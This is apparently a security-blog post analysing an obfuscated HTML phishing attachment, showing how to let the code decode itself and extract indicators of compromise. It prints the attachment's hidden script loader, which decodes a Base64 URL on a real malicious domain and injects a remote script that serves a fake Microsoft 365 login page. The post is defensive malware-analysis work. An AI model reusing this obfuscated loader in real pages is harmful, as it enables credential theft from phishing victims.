"Passive" analysis of a phishing attachment

Published: 2023-05-01
Last Updated: 2023-05-01 10:40:18 UTC
by Jan Kopriva (Version: 1)
1 comment(s)

When it comes to analysis of malicious code, one often has to weigh the potential benefits of a quick, dynamic analysis, which might cause the code to interact with infrastructure operated by a threat actor and thus “break OPSEC”, against the benefits of a slower approach based mostly on static analysis techniques.

Whenever one deals with what might be a targeted malware/attack, the concerns of “OPSEC” usually win out. However, even when it comes to something as trivial as an HTML file that was delivered as an attachment of what looks like generic phishing, we might not wish to simply open it in a browser, even in a sandbox VM.

Last week, I came across one such generic phishing, which promised a “Q1 Financial report” for my company, and which contained an obfuscated HTML attachment.

And since the obfuscation was done in such a way, which enables us to analyze the file “passively”, without the need to interact with external infrastructure, and demonstrate one of the basic principles behind quick and efficient analysis of obfuscated code (i.e., let the code deobfuscate or decode itself, if possible) at the same time, I thought it might be interesting to go over it in this Diary.

The HTML file contained the following code:

let x = ['3c', '68', '74', '6d', '6c', '3e', 'a', '3c', '68', '65', '61', '64', 


'3c', '2f', '73', '63', '72', '69', '70', '74', '3e', '3c', '2f', '62', '6f', '64', '79', '3e', 'a', '3c', '2f', '68', '74', '6d', '6c', '3e'];
var y = "";
for(let user of x){
	y += (String.fromCharCode(parseInt(user,16)));

We could, of course, use CyberChef or some other utility to decode the encoded string, however, if we simply add the line


before the line


we can take advantage of the aforementioned “let the code deobfuscate itself” principle. The <plaintext> tag causes all following HTML code to be displayed as text, which is quite useful for our purposes.

If we opened the modified HTML page in a browser, it would display the following output:

<h5 class="uZxyMjPR lhAUZdJd" id="CLXzOZiW" title="vAJPxV" ></h5>
<h1 class="KfNETAGW ATKzJliB" id="NqucEakmCu" title="vFzyVAi" ></h1>

<input class="W4UzVa2g" type="hidden" id="umrKjg" value="aHR0cHM6Ly9wcHNjaW5zdXJhbmNlLmNvLnVrL2RlbmltYS81ZTU3OTZhLnBocA=="></input><h3 class="mqwJUI JXndOI" id="orafrRjoYj" title="hmHfSwSj" ></h3>
<img class="gNLbSj aHR0cHM6Ly9wcHNjaW5zdXJhbmNlLmNvLnVrL2RlbmltYS9hZG1pbi9qcy9tcC5waHA/YXI9ZDI5eVpBPT0mYjY0ZT1QQkVxbHBsTkYmYjY0dT11bXJLamcmY29uZj1Ld0RZcHZPJmNhbGw9Z05MYlNq"></img>
<span class="AvZQjGyg bZzYjo" id="MJXtdAP" title="OlYEqf" ></span>

<input class="0kgsbQD7E" type="hidden" id="KwDYpvO" value="eyJiYWNrIjoiZGVmYXVsdCIsInRpdGxlIjoiZGVmYXVsdCIsImNhcHRpb24iOiJkZWZhdWx0In0="></input>
<h4 class="vjmpeggbgy ChVlvnr" id="LXHQfT" title="KqbTJfKx" ></h4>

<ul class="heWrXR NgYtpToR" id="jldsatuhz" title="cgRqQc" style="display:none;">PGltZyBjbGFzcz0iZ05MYlNqIGFIUjBjSE02THk5d2NITmphVzV6ZFhKaGJtTmxMbU52TG5WckwyUmxibWx0WVM5aFpHMXBiaTlxY3k5dGNDNXdhSEEvWVhJ</ul>
<input type="hidden" class="PDTx" id="PBEqlplNF" value=[base64-encoded e-mail address of the recipient] ></input>
<cite class="rnfOnl MddANPwCht" id="ijYCNTMw" title="wmqVeaWO" style="display:none;">OVpESTVlVnBCUFQwbVlqWTBaVDFRUWtWeGJIQnNUa1ltWWpZMGRUMTFiWEpMYW1jbVkyOXVaajFMZDBSWmNIWlBKbU5oYkd3OVowNU1ZbE5xIj48L2ltZz4=</cite>
<strong class="sYlEMIaQtC kCAsIw" id="ZqDIXe" title="aQUaTBEPUE" ></strong>

<input type="hidden" id="EkmtcB GfewqfD" class="lv38zEvBu" value="d29yZA==">
<script>eval(`\x75\x71K\x76\x75u = wi\x6e\x64ow["\x64\x6f\x63\x75m\x65n\x74"].c\x72\x65\x61\x74\x65E\x6ce\x6dent\x28"scr\x69pt");uq\x4bv\x75\x75.\x73rc\x20=\x20\x74\x68\x69s\x2e\x63\x6f\x6est\x72u\x63\x74o\x72.c\x6fnst\x72\x75ct\x6fr(\x27r\x65tur\x6e\x20\x61\x74\x6f\x62(\x41rra\x79\x2econs\x74r\x75\x63\x74\x6fr\x2e\x63\x6fnst\x72ucto\x72("\x72\x65\x74\x75\x72\x6e\x20do\x63u\x6d\x65nt"\x29(\x29\x2eque\x72\x79\x53e\x6c\x65\x63\x74o\x72("\x2e\x67\x4e\x4cbS\x6a\x22).\x63\x6ca\x73s\x4c\x69\x73t\x5b1]\x29')\x28)\x3bvar \x45\x42PwM\x4diTe\x4f = \x77i\x6e\x64o\x77.\x63onstr\x75\x63t\x6fr["c\x6f\x6es\x74\x72u\x63\x74o\x72"].\x63\x6f\x6e\x73\x74ru\x63\x74\x6fr(\x27A\x72r\x61\x79.\x63onstruc\x74or.c\x6f\x6e\x73tr\x75\x63\x74or\x28\x22\x72\x65t\x75\x72\x6e\x20\x64o\x63um\x65\x6e\x74\x22\x29\x28\x29.h\x65\x61d\x2eappe\x6e\x64\x43hild\x28uq\x4b\x76u\x75)\x3b')\x3bEB\x50\x77M\x4d\x69\x54e\x4f(\x29\x3b`)</script></body>

Given the character set used in some of the strings we see in the code, along with the fact that few of these strings end in one or two equal signs, we might easily conclude that these strings are Base64-encoded. However, before we take a look at the strings, it would be advisable to determine what the remaining obfuscated JavaScript is supposed to do.

Once again, we can let the code deobfuscate itself – this time by replacing the “eval” function call by a “document.write” function call. If we do so and load the modified HTML code in a browser, the following code will be displayed.

uqKvuu = window["document"].createElement("script");
uqKvuu.src = this.constructor.constructor('return atob(Array.constructor.constructor("return document")().querySelector(".gNLbSj").classList[1])')();
var EBPwMMiTeO = window.constructor["constructor"].constructor('Array.constructor.constructor("return document")().head.appendChild(uqKvuu);

Even at a quick glance, we can see that our assumption about Base64 encoding was correct (the use of “atob” function) and we see that contents of the “gNLbSj” are certainly worth decoding. If we do so, we discover the following URL:


One additional thing we might wish to do would be to search for any other Base64-encoded URLs, which we can do easily by identifying any strings which start with the sequence “aHR0cHM6” (Base64-encoded string “https:”).

There appears to be only one in the value of the first input tag of the code, which decodes to the following URL:


Although we can’t get much further just by “passive” analysis, these two IoA/IoC indicators might be enough – especially if all we wanted was to make sure that no one in our organization opened a similar attachment.

Of course, if we didn’t care about letting the threat actors know that we discovered their phishing attachment, we could try interacting with the two identified URLs directly. Especially the first one might be interesting, since, as we can see from the code above, additional content is loaded from it (in this instance, it is a fake M365 login page).

Alternatively, we could skip the “passive” analysis all together, open the HTML file in a browser and see what URLs would be accessed by it, though, this has the aforementioned drawbacks of being easily detectible by the threat actors.

A few more points deserve mention in relation to this phishing.

  • The domain used to host the external components of the phishing page was registered only couple of weeks before the phishing message was sent out (specifically, on April 12th[1]) and appears to be a play on legitimate domain used by certain UK insurance broker firm.
  • Upon closer examination of additional accessible URLs on the domain, it seems that an admin interface for the phishing kit, which the threat actors used in this attack, was left exposed. Furthermore, the login page for the admin panel showed an interesting “disclamer”, consisting of following strings, which would almost certainly not hold up under any legal scrutiny, but its inclusion paints an interesting picture of the phishing kit’s author:
    "This Page Is Only For Educational Purpose."
    "And for learning purposes too"
    "Im not responsible for any damage caused by this page"

  • Based on a quick Google search, it appears that the “/admin/js/mp.php” part of one of the URLs is specific to this phishing kit and might, indeed, be useful as an IoA/IoC[2,3].

[1] https://whois.domaintools.com/ppscinsurance.co.uk
[2] https://www.joesandbox.com/analysis/854623/0/html
[3] https://www.joesandbox.com/analysis/853985/0/html

Jan Kopriva
Nettles Consulting

Keywords: HTML Phishing
1 comment(s)
ISC Stormcast For Monday, May 1st, 2023 https://isc.sans.edu/podcastdetail.html?id=8476


Diary Archives